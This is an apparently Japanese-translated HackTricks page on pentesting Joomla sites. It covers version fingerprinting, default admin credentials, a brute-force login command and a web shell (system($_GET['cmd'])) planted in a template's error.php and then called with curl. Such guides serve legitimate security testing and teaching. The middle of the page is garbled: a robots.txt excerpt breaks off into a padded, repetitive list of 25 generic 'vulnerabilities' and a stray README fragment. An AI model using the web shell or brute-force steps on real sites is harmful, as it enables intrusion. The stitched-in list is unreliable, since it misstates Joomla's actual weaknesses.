15 KiB
Joomla
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ会社で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- **ハッキングのトリックを共有するには、hacktricks repoとhacktricks-cloud repo**にPRを提出してください。
Joomlaの統計
Joomlaは、Joomlaのインストールで使用されているJoomla、PHP、データベースのバージョン、およびサーバーのオペレーティングシステムなど、いくつかの匿名の使用統計を収集しています。このデータは、公開されているAPIを介してクエリできます。
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}
列挙
発見/フットプリンティング
- メタをチェックする
curl https://www.joomla.org/ | grep Joomla | grep generator
<meta name="generator" content="Joomla! - Open Source Content Management" />
- robots.txt
ロボット.txt
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
Joomla
概要
Joomlaは、人気のあるオープンソースのコンテンツ管理システム(CMS)です。このCMSは、ウェブサイトの作成と管理を容易にするために使用されます。Joomlaは、PHPで書かれており、MySQLデータベースを使用しています。
ペンテストの手法
1. Joomlaのバージョンの特定
Joomlaのバージョンを特定することは、脆弱性の評価と攻撃の計画に重要です。以下の方法でバージョンを特定できます。
/administrator/manifests/files/joomla.xml
にアクセスしてバージョンを確認する。/administrator/manifests/files/joomla.xml
にアクセスして、<version>
タグの値を確認する。/language/en-GB/en-GB.xml
にアクセスして、<version>
タグの値を確認する。
2. デフォルトのクレデンシャルの確認
Joomlaのデフォルトのクレデンシャルを使用してログインできるかどうかを確認します。以下のデフォルトのクレデンシャルを試してみてください。
- ユーザー名:
admin
、パスワード:admin
- ユーザー名:
administrator
、パスワード:administrator
3. ファイルのアップロード
Joomlaのファイルアップロード機能を悪用して、任意のファイルをアップロードすることができます。アップロードされたファイルを使用して、コードの実行やシステムへのアクセスを試みることができます。
4. SQLインジェクション
JoomlaのSQLインジェクション脆弱性を悪用して、データベースから情報を抽出したり、データを改ざんしたりすることができます。SQLインジェクションのテストを実施し、脆弱性を特定します。
5. パスワードリセットの悪用
Joomlaのパスワードリセット機能を悪用して、他のユーザーのパスワードをリセットすることができます。これにより、他のユーザーのアカウントにアクセスできる可能性があります。
6. プラグインの脆弱性
Joomlaのプラグインには、脆弱性が存在する場合があります。脆弱性のあるプラグインを特定し、攻撃のためのエクスプロイトを見つけます。
7. ファイルの読み取りと書き込み
Joomlaのファイルシステムに対して読み取りと書き込みの権限を持つことができれば、機密情報の抽出やシステムの改ざんが可能になります。ファイルシステムの権限を確認し、必要な権限を取得します。
8. データベースの情報の抽出
Joomlaのデータベースには、ウェブサイトの重要な情報が格納されています。データベースから情報を抽出し、攻撃のための有用な情報を見つけます。
9. リモートコード実行
Joomlaのリモートコード実行脆弱性を悪用して、任意のコードを実行することができます。リモートコード実行の脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。
10. ディレクトリトラバーサル
Joomlaのディレクトリトラバーサル脆弱性を悪用して、ウェブサイトのファイルシステムにアクセスすることができます。ディレクトリトラバーサルの脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。
11. セッションハイジャック
Joomlaのセッションハイジャック脆弱性を悪用して、他のユーザーのセッションを奪取することができます。セッションハイジャックの脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。
12. ディレクトリリスティング
Joomlaのディレクトリリスティング脆弱性を悪用して、ウェブサイトのディレクトリ構造を表示することができます。ディレクトリリスティングの脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。
13. クロスサイトスクリプティング(XSS)
Joomlaのクロスサイトスクリプティング(XSS)脆弱性を悪用して、ユーザーのセッションを乗っ取ったり、悪意のあるスクリプトを実行したりすることができます。XSSの脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。
14. リダイレクト攻撃
Joomlaのリダイレクト攻撃脆弱性を悪用して、ユーザーを悪意のあるウェブサイトにリダイレクトすることができます。リダイレクト攻撃の脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。
15. ファイルインクルージョン
Joomlaのファイルインクルージョン脆弱性を悪用して、任意のファイルを読み込むことができます。ファイルインクルージョンの脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。
16. リモートファイルインクルージョン
Joomlaのリモートファイルインクルージョン脆弱性を悪用して、リモートサーバー上のファイルを読み込むことができます。リモートファイルインクルージョンの脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。
17. ディレクトリブラウジング
Joomlaのディレクトリブラウジング脆弱性を悪用して、ウェブサイトのディレクトリ内のファイルを表示することができます。ディレクトリブラウジングの脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。
18. ファイルダウンロード
Joomlaのファイルダウンロード機能を悪用して、ウェブサイトのファイルをダウンロードすることができます。ファイルダウンロードの脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。
19. ファイルの削除
Joomlaのファイル削除機能を悪用して、ウェブサイトのファイルを削除することができます。ファイル削除の脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。
20. ファイルの実行
Joomlaのファイル実行機能を悪用して、任意のコードを実行することができます。ファイル実行の脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。
21. ファイルの移動
Joomlaのファイル移動機能を悪用して、ウェブサイトのファイルを移動することができます。ファイル移動の脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。
22. ファイルのコピー
Joomlaのファイルコピー機能を悪用して、ウェブサイトのファイルをコピーすることができます。ファイルコピーの脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。
23. ファイルの圧縮と解凍
Joomlaのファイル圧縮と解凍機能を悪用して、ウェブサイトのファイルを圧縮または解凍することができます。ファイル圧縮と解凍の脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。
24. ファイルの表示
Joomlaのファイル表示機能を悪用して、ウェブサイトのファイルの内容を表示することができます。ファイル表示の脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。
25. ファイルの編集
Joomlaのファイル編集機能を悪用して、ウェブサイトのファイルを編集することができます。ファイル編集の脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
バージョン
- /administrator/manifests/files/joomla.xml ではバージョンを確認できます。
- /language/en-GB/en-GB.xml ではJoomlaのバージョンを取得できます。
- plugins/system/cache/cache.xml ではおおよそのバージョンを確認できます。
自動化
droopescan scan joomla --url http://joomla-site.local/
In 80,443 - Pentesting Web Methodologyは、JoomlaをスキャンできるCMSスキャナに関するセクションです。
ブルートフォース
このスクリプトを使用して、ログインのブルートフォース攻撃を試みることができます。
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
admin:admin
RCE
管理者の資格情報を取得できた場合、PHPコードのスニペットを追加してRCEを実行することができます。これはテンプレートをカスタマイズすることで行うことができます。
Configuration
の下にある**Templates
**をクリックして、テンプレートメニューを表示します。- **
Template
列のヘッダーの下にあるprotostar
を選択して、Templates: Customise
**ページに移動します。 - 最後に、ページソースを表示するためにページをクリックします。
error.php
ページを選択しましょう。以下のようにPHPのワンライナーを追加してコード実行を行います: system($_GET['cmd']);
- Save & Close
curl -s http://joomla-site.local/templates/protostar/error.php/error.php?cmd=id
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterで私をフォローしてください🐦@carlospolopm。
- **ハッキングのトリックを共有するには、hacktricksリポジトリとhacktricks-cloudリポジトリ**にPRを提出してください。